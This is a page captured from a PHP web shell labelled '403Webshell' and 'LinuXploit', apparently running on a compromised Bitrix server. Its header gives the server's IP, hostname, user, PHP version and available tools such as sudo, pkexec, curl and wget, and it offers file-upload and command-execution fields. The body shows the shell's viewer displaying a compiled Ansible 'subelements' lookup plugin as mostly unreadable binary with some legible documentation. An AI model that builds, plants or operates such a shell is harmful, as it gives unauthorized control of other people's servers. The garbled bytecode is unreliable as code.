403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/plugins/lookup/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/plugins/lookup/__pycache__/subelements.cpython-311.opt-1.pyc
�

���c����ddlmZmZmZeZdZdZdZddl	m
Z
ddlmZddl
mZddlmZdd	lmZd
ZGd�de��Zd
S)�)�absolute_import�division�print_functionaj
    name: subelements
    author: Serge van Ginderachter (!UNKNOWN) <serge@vanginderachter.be>
    version_added: "1.4"
    short_description: traverse nested key from a list of dictionaries
    description:
      - Subelements walks a list of hashes (aka dictionaries) and then traverses a list with a given (nested sub-)key inside of those records.
    options:
      _terms:
         description: tuple of list of dictionaries and dictionary key to extract
         required: True
      skip_missing:
        default: False
        description:
          - Lookup accepts this flag from a dictionary as optional. See Example section for more information.
          - If set to C(True), the lookup plugin will skip the lists items that do not contain the given subkey.
          - If set to C(False), the plugin will yield an error and complain about the missing subkey.
a 
- name: show var structure as it is needed for example to make sense
  hosts: all
  vars:
    users:
      - name: alice
        authorized:
          - /tmp/alice/onekey.pub
          - /tmp/alice/twokey.pub
        mysql:
            password: mysql-password
            hosts:
              - "%"
              - "127.0.0.1"
              - "::1"
              - "localhost"
            privs:
              - "*.*:SELECT"
              - "DB1.*:ALL"
        groups:
          - wheel
      - name: bob
        authorized:
          - /tmp/bob/id_rsa.pub
        mysql:
            password: other-mysql-password
            hosts:
              - "db1"
            privs:
              - "*.*:SELECT"
              - "DB2.*:ALL"
  tasks:
    - name: Set authorized ssh key, extracting just that data from 'users'
      ansible.posix.authorized_key:
        user: "{{ item.0.name }}"
        key: "{{ lookup('file', item.1) }}"
      with_subelements:
         - "{{ users }}"
         - authorized

    - name: Setup MySQL users, given the mysql hosts and privs subkey lists
      community.mysql.mysql_user:
        name: "{{ item.0.name }}"
        password: "{{ item.0.mysql.password }}"
        host: "{{ item.1 }}"
        priv: "{{ item.0.mysql.privs | join('/') }}"
      with_subelements:
        - "{{ users }}"
        - mysql.hosts

    - name: list groups for users that have them, don't error if groups key is missing
      ansible.builtin.debug: var=item
      loop: "{{ q('ansible.builtin.subelements', users, 'groups', {'skip_missing': True}) }}"
z5
_list:
  description: list of subelements extracted
��AnsibleError)�string_types)�boolean)�
LookupBase)�listify_lookup_plugin_terms)�skip_missingc��eZdZd�ZdS)�LookupModulec	���dd�}t|d|j���|d<t|t��rdt	|��cxkrdksn|��t|dtt
f��rt|dt��s|d��|d�d	��}t|dt
��rO|d�d
d��durgSg}|dD]#}|�	|d|���$n|d}i}t	|��dkr|d}t|t
��s,td�|D����s|d
tz��g}	|D�]L}
t|
t
��std|
z���|
�d
d��dur�Ct|�dd��d���}|
}d}
g}|D]�}||dkrd}
||vr|r�td|�d|�d����|
sCt||t
��s|r�Mtd|�d||�d����||}�rt||t��std|�d||�d����|�|g��}��|D]}|	�	|
|f�����N|	S)N�c�&�td|z���)Nz9subelements lookup expects a list of two or three items, r)�msgs �G/usr/lib/python3.11/site-packages/ansible/plugins/lookup/subelements.py�_raise_terms_errorz,LookupModule.run.<locals>._raise_terms_errords���K�c�Q�S�S�
S�r)�templar���z>first a dict or a list, second a string pointing to the subkey�.�skippedFc3�RK�|]"}t|t��o|tvV��#dS)N)�
isinstancer�FLAGS)�.0�keys  r�	<genexpr>z#LookupModule.run.<locals>.<genexpr>�s9����2s�2s�fi�:�c�<�3P�3P�3a�UX�\a�Ua�2s�2s�2s�2s�2s�2srz4the optional third item must be a dict with flags %sz1subelements lookup expects a dictionary, got '%s'r)�strict���Tzcould not find 'z' key in iterated item '�'zthe key z$ should point to a dictionary, got 'z should point to a list, got ')r)r�_templarr�list�len�dictr�split�get�append�allrrr	�pop)�self�terms�	variables�kwargsr�subelements�elementlistr �flags�ret�item0r�subvalue�
lastsubkey�sublist�subkey�item1s                 r�runzLookupModule.runbs���	S�	S�	S�	S�/�u�Q�x���O�O�O��a���%��&�&�	!�a�3�u�:�:�.B�.B�.B�.B��.B�.B�.B�.B��� � � ��%��(�T�4�L�1�1�	a��E�!�H�l�9[�9[�	a���_�`�`�`��A�h�n�n�S�)�)���e�A�h��%�%�	#��Q�x�|�|�I�u�-�-�U�:�:��	��K��Q�x�
2�
2���"�"�5��8�C�=�1�1�1�1�
2� ��(�K����u�:�:��?�?��!�H�E��%��&�&�	_�s�2s�2s�mr�2s�2s�2s�/s�/s�	_���U�X]�]�^�^�^��� �!	+�!	+�E��e�T�*�*�
`�"�#V�Y^�#^�_�_�_��y�y��E�*�*�%�7�7��"�5�9�9�^�U�#C�#C�E�R�R�R�L��H��J��G�%�
;�
;���[��_�,�,�!%�J���)�)�#�q� �*�l�^d�^d�^d�fn�fn�fn�+o�p�p�p�!�;�%�h�v�&6��=�=�4�'�A�$�".�,�fl�fl�fl�nv�w}�n~�n~�n~�/�#A�#A�A�#+�F�#3���%�h�v�&6��=�=�;�*�l�\b�\b�\b�dl�ms�dt�dt�dt�+u�v�v�v�"*�,�,�v�r�":�":��� �
+�
+���
�
�E�5�>�*�*�*�*�
+��
rN)�__name__�
__module__�__qualname__r<�rrrr`s(������G�G�G�G�GrrN)�
__future__rrr�type�
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURN�ansible.errorsr�ansible.module_utils.sixr�)ansible.module_utils.parsing.convert_boolr	�ansible.plugins.lookupr
�ansible.utils.listifyrrrr@rr�<module>rLs���C�B�B�B�B�B�B�B�B�B��
��
�&5��n
��
(�'�'�'�'�'�1�1�1�1�1�1�=�=�=�=�=�=�-�-�-�-�-�-�=�=�=�=�=�=�	��I�I�I�I�I�:�I�I�I�I�Ir

Youez - 2016 - github.com/yon3zu
LinuXploit